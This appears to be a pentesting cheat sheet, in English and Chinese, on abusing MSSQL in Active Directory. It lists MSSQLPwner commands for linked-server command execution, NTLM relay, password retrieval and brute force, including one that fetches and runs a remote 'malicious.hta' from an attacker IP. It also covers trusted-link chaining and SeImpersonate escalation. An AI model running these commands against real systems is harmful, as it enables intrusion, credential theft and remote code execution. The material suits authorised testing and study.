MSSQL AD Abuse
MSSQL AD 滥用
MSSQL 枚举 / 发现
Python
MSSQLPwner 工具基于 impacket,允许使用 kerberos 票证进行身份验证,并通过链接链进行攻击。
```shell # Interactive mode mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
Interactive mode with 2 depth level of impersonations
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -max-impersonation-depth 2 interactive
Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Executing direct query
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth direct-query "SELECT CURRENT_USER"
Retrieving password from the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 retrive-password
Execute code using custom assembly on the linked server DC01
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-server DC01 inject-custom-asm SqlInject.dll
Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
Interactive mode
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth interactive
在没有域会话的情况下从网络枚举
从域内部枚举
MSSQL 基本滥用
访问数据库
MSSQL RCE
在MSSQL主机内部执行命令也可能是可行的。
检查以下部分中提到的页面以了解如何手动执行此操作。
MSSQL 基本黑客技巧
MSSQL 受信任链接
如果一个 MSSQL 实例被另一个 MSSQL 实例信任(数据库链接)。如果用户对受信任的数据库具有权限,他将能够利用信任关系在另一个实例中执行查询。这些信任可以链式连接,在某些情况下,用户可能能够找到一些配置错误的数据库,在那里他可以执行命令。
数据库之间的链接甚至可以跨越森林信任。
Powershell 滥用
Metasploit
您可以使用 metasploit 轻松检查受信任的链接。
注意,metasploit 只会尝试在 MSSQL 中滥用 openquery()
函数(因此,如果您无法使用 openquery()
执行命令,您将需要尝试 手动 使用 EXECUTE
方法来执行命令,更多信息见下文。)
手动 - Openquery()
从 Linux 您可以使用 sqsh 和 mssqlclient.py 获取 MSSQL 控制台 shell。
从 Windows 您也可以找到链接并使用 MSSQL 客户端如 HeidiSQL 手动执行命令。
使用 Windows 身份验证登录:
查找可信链接
在可信链接中执行查询
通过链接执行查询(示例:在新的可访问实例中查找更多链接):
检查双引号和单引号的使用,正确使用它们非常重要。
您可以手动无限期地继续这些受信任链接链。
如果您无法通过 openquery()
执行像 exec xp_cmdshell
这样的操作,请尝试使用 EXECUTE
方法。
手动 - EXECUTE
您还可以使用 EXECUTE
滥用受信任的链接:
本地权限提升
MSSQL 本地用户 通常具有一种特殊类型的权限,称为 SeImpersonatePrivilege
。这允许该账户在身份验证后“模拟客户端”。
许多作者提出的一种策略是强制 SYSTEM 服务向攻击者创建的恶意或中间人服务进行身份验证。这个恶意服务能够在 SYSTEM 服务尝试进行身份验证时模拟该服务。
SweetPotato 收集了这些可以通过 Beacon 的 execute-assembly
命令执行的各种技术。
Last updated